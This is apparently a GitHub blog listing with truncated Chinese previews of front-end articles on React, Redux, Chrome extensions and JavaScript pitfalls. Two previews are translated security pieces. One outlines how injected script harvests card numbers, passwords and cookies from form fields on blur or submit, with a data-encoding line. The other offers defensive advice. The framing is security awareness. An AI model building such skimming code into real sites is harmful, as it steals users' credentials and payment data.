git-blog
git-blog copied to clipboard
luke93h
## 黑科技-react如何获取父元素 前段时间再学习react的源码，解决了自己的一些疑惑，也发现了一些黑科技操作方法，此处分享给大家。 通常父组件获得子组件的实例可以通过ref获取，那子组件如何获取父组件的实例呢？ 这里提供一种黑科技思路供大家玩耍 ```jsx import React from "react"; import ReactDOM from "react-dom"; import "./styles.css"; class App extends React.Component { constructor(props){ super(props) this.state={ a: 1 } } add =...
# 如何阻止我从您的网站收集信用卡号码和密码 > 译者：原文地址-[Part 2: How to stop me harvesting credit card numbers and passwords from your site](https://hackernoon.com/part-2-how-to-stop-me-harvesting-credit-card-numbers-and-passwords-from-your-site-844f739659b9)，以下为译文： 我最近写了[一篇文章](https://hackernoon.com/part-2-how-to-stop-me-harvesting-credit-card-numbers-and-passwords-from-your-site-844f739659b9)（[译文](https://github.com/luke93h/git-blog/issues/22)），描述了我如何注入恶意代码，这些代码以一种很难检测到的方式从数千个网站收集信用卡号和密码。 这篇文章收到的评论让我感到高兴，比如“不寒而栗”，“令人不安”和“可怕至极”等情感。（就像我在舞池上收到的赞美一样。） 在这篇文章中，我会提出一些实用的建议。 # 概要 * 没必要杜绝第三方代码 * 敏感信息，请放在单独的HTML文件中处理，并确保该html中没有第三方代码。 * 在iframe中加载该html *...
# 我是如何从你的网站盗取银行卡和密码的 > 译者：本文翻译自[hackermoon上的文章](https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5)，希望本文能唤起广大前端工作者的安全意识，以下为正文: *** > 以下是一个真实的故事。或者它可能只是基于一个真实的故事。也许这根本不是真的。 这周是一个安全恐慌周——似乎每天都有一个新的漏洞被发现。当家里人询问我相关的事情时，我需要假装我很懂行，这真的让我感到很煎熬。 看到与我亲近的人都在忧虑“网络安全”，这确实让我有所感触。 所以，我怀着沉重的心情，决定干净利落地告诉你，我过去几年是如何偷你的网站上的用户名，密码和信用卡号码。 *** 恶意代码本身非常简单，当它在满足以下条件的页面上运行时，它就能发挥作用： * 该页面有一个\标签 * 一个input[type="password"]元素，或者name属性为"cardnumber"或"cvc"的元素等 * 该页面包含“信用卡”，“结账”，“登录”，“密码”等字样。 然后，当密码/信用卡字段上出现"blur"事件或form标签上监听到"submit"事件时，我的代码会： * 获取页面上的所有表单字段（document.forms.forEach(…)） * 获取document.cookie * 将这些信息变成随机的字符串： ```jsx const payload = btoa(JSON.stringify(sensitiveUserData))...
# 大前端简介 ## 目录 - [简介](#简介) - [前端发展史](#前端发展史) - [web](#web) - [移动端](#小程序) - [前端工程化](#前端工程化) - [二维动画(canvas)](#二维动画(canvas)) - [三维动画(webgl)](#三维动画(webgl)) - [chrome扩展](#chrome扩展) - [桌面应用](#桌面应用) - [物联网（IOT）](#物联网（IOT）) - [操作系统](#操作系统) - [结语](#结语) ## 简介...
## chrome extension是什么 1. chrome extension开发成本低，由一些文件（包括 HTML、CSS、JavaScript、图片以及其他任何您需要的文件）经过 zip 打包得到，本质上是网页。 2. chrome extension不仅可以利用[浏览器为网页提供的所有 API](https://crxdoc-zh.appspot.com/extensions/api_other)，还可以用[chrome为扩展程序提供了许多专用 API](https://crxdoc-zh.appspot.com/extensions/api_index)。 ## 为什么要用chrome extension 1. 有些场景下，我们并不是网页的开发者，但想要为网站添加更多的功能，这时候也可以用chrome extension来解决。 2. chrome extension拥有比网页更加丰富的api ## chrome扩展能做什么 1. 代理：[Proxy SwitchyOmega](https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif) 2. 开发者工具:...
> 吐槽：一直以来对js的使用一直都很满意，直到遇到了toFixed。此文用于记录踩坑心得。 ### 遇到的问题: 1. js的浮点数运算不准确，(a + b).toFixed(2)能解决一部分问题，但并不完美 ```javascript 0.1 + 0.2 //0.30000000000000004 (0.1 + 0.2).toFixed(2) // 0.30 0.815 + 0.1 // 0.9149999999999999 (0.815 + 0.1).toFixed(2) // 0.91，错误！期望0.92 ``` 2....
Vue的优势是： 1. 模板和渲染函数的弹性选择 2. 简单的语法和项目配置 3. 更快的渲染速度和更小的体积 React的优势是： 1. 更适合大型应用和更好的可测试性 2. Web端和移动端原生APP通吃 3. 更大的生态系统，更多的支持和好用的工具 共通的优点： 1. 用虚拟DOM实现快速渲染 2. 轻量级 3. 响应式组件 4. 服务端渲染 5. 集成路由工具，打包工具，状态管理工具的难度低 6. 优秀的支持和社区 综上所述，vue适用于小公司（招人方便），小项目（开发快），react适合大型的复杂项目。
## 背景 最近开发中遇到了一个比较有趣的问题：在一个页面中加载了20多张图片，其中第一张需要放大展示到中心区，由于所有图片时并行加载，导致中心图片加载特别慢，有很长时间是空白状态，体验非常差。思来想去，想到了如下方法，通过串行加载的方式来加载图片。 ## 解决方式 通过render props的方式加入中间件 ```jsx import React from 'react'; class Index extends React.Component { constructor(props) { super(props); this.state = { loaded: {}, }; this.imgs = []; this.preloadImgs(props.imgs);...
# js写动画的方式 1. setTimeout/setInterval ```jsx let start = (new Date()).getTime() function move(e, dis){ let now = (new Date()).getTime() let elapsed = now - start let fraction = elapsed/time if( fraction...
## 前言 redux本身代码量十分精简，出去注释，代码量也就100多行，大部分逻辑页非常好动。唯一有点难处的就是它的插件机制。 本文目标便是帮助给为彻底理解redux的插件机制 ## 背景 1. 本文介绍基于[redux-4.0.0](https://github.com/reduxjs/redux) 2. 本文分析源码的源码文件为： - [createStore.js](https://github.com/reduxjs/redux/blob/master/src/createStore.js) - [applyMiddleware.js](https://github.com/reduxjs/redux/blob/master/src/applyMiddleware.js) - [compose.js](https://github.com/reduxjs/redux/blob/master/src/createStore.js) ## 使用方法 ```jsx import { createStore, applyMiddleware } from 'redux' import reducer from './reducers'...